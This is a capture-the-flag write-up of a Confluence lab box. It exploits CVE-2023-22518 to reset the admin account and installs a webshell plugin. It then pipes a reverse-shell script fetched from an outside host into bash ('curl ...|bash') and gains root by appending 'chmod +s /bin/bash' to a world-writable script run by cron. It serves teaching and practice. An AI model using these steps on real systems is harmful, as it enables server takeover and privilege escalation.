Challenge Description

Danish (Original)

Blækspruttespillene er i gang. De har sat en kommunikationsplatform op til deltagerne, og deltagerne yapper løs.

Login med bruger: 456 og password: password, eller opret din egen bruger for at deltage!

intranetmadness.hkn:8090

English (Chatgpt)

The squid games are underway. They have set up a communication platform for the participants, and the participants are chatting away.

Log in with username: 456 and password: password, or create your own account to participate!

intranetmadness.hkn:8090

Owning Confluence

Going to the URL we are greeted with a login page for a confluence instance, using the provided credentials we can login. We take note of the version displayed at the bottom: 8.6.0.

There are two spaces on the site: the meme-filled space of Blæksprutte spillerne, and DOCS. The latter is what will be useful for us.

In DOCS > Incident Response Plan > Backup Strategi we see how they run a backup script (/usr/local/bin/squidbackup.sh) each minute, and also a comment by the admin (001) about how it is important to patch the server so backup recovery isnt needed.

Lets look at 001, checking their calendar we see an event refering to a ’new’ exploit that can reset confluence to admin:admin credentials. Reading this I thought of a this blog post written by a former collegue. So the vulnerability is properly CVE-2023-22518, which version 8.6.0 of confluence is vulnerable to.

Searching for a PoC I found https://github.com/ForceFledgling/CVE-2023-22518, using this I reset the confluence instance:

┌──(osiriz㉿kali)-[~/CVE-2023-22518]
└─$ python exploit.py        
Enter the URL: http://intranetmadness.hkn:8090/json/setup-restore.action?synchronous=True       
Enter the path to the .zip file: xmlexport-20231109-060519-1.zip
Exploit Success! Login Using 'admin :: admin'

And now we can login using admin:admin.

Getting shell access

Now that we are the administrator of the confluence server, we can leverage this to get a user shell on server. Using the atlplug.jar file from the PoC github repo, we can install a webshell in confluence by going to General Configuration > Manage apps > Upload app and selecting the jar file. After it is done installing click on Get started and we have a web shell:

shell>whoami
confluence
shell>pwd
/var/atlassian/application-data/confluence

I then use https://www.revshells.com to generate a bash reverse shell to save in revshell.sh, serving it with python -m http.server, listening with nc -lvnp 9001, and then getting and running it on the server:

shell>curl http://10.0.240.241:8000/revshell.sh|bash

We now have a more usable shell, quickly stabilise the shell:

confluence@remote$ python3 -c 'import pty;pty.spawn("/bin/bash")'
confluence@remote$ ^Z
zsh: suspended  nc -lvnp 9001
osiriz@kali$ stty raw -echo; fg
[1]  + continued  nc -lvnp 9001
confluence@remote$ export TERM=xterm

Getting root

Finally we can get root by looking at the backup script (/usr/local/bin/squidbackup.sh):

confluence@remote$ ls -l /usr/local/bin/squidbackup.sh 
-rwxr-xr-x 1 root root 601 Apr  4 12:52 /usr/local/bin/squidbackup.sh

confluence@remote$ cat /usr/local/bin/squidbackup.sh 
#!/bin/bash

# Directory to back up
SOURCE_DIR="/var/atlassian/application-data/confluence"

# Backup destination (user-specified)
BACKUP_DIR="$1"

# Check if backup directory is provided
if [ -z "$BACKUP_DIR" ]; then
    echo "Usage: $0 <backup_directory>"
    exit 1
fi

echo "[*] Starting backup from '$SOURCE_DIR' to '$BACKUP_DIR'..."

# Perform the backup
cp -r "$SOURCE_DIR"/* "$BACKUP_DIR"

if [ -f "$BACKUP_DIR/post-backup.sh" ]; then
    echo "[!] post-backup.sh found. Executing..."
    chmod +x "$BACKUP_DIR/post-backup.sh"
    "$BACKUP_DIR/post-backup.sh"
fi

echo "[*] Backup completed."

We can see that we cannot write to this script, but it runs a second script called post-backup.sh from the directory denoted by the variable $BACKUP_DIR which is the 1st argument to the script, so checking the crontab we can see that is /home/conflunce/backup:

confluence@remote$ cat /etc/cron.d/confluence_backup 
*/1 * * * * /usr/local/bin/squidbackup.sh /home/confluence/backup

So lets check this script out:

confluence@remote$ ls -l /home/confluence/backup/post-backup.sh 
-rwxrwxrwx 1 confluence confluence 470 Apr  4 12:52 /home/confluence/backup/post-backup.sh

confluence@remote$ cat /home/confluence/backup/post-backup.sh 
#!/bin/bash

LOG_FILE="backup-log.txt"

echo "[$(date '+%Y-%m-%d %H:%M:%S')] post-backup.sh: Running in directory: $PWD" >> "$LOG_FILE"
echo "[$(date '+%Y-%m-%d %H:%M:%S')] Contents of $PWD:" >> "$LOG_FILE"
ls -la >> "$LOG_FILE"
echo "" >> "$LOG_FILE"
echo "[$(date '+%Y-%m-%d %H:%M:%S')] Number of files/folders in $PWD:" >> "$LOG_FILE"
ls -la | wc -l >> "$LOG_FILE"
echo "" >> "$LOG_FILE"
echo "[$(date '+%Y-%m-%d %H:%M:%S')] post-backup.sh completed." >> "$LOG_FILE"

We can write to this file, so lets set the suid bit on /bin/bash so we can make a shell with root permissions:

confluence@remote$ echo "chmod +s /bin/bash" >> /home/confluence/backup/post-backup.sh

And after about a minute we should be able to get the root shell:

confluence@remote$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash

confluence@remote$ /bin/bash -p

root@remote# cat /flag.txt 
DDC{D0N7H4CK7H35QU1DSM4N}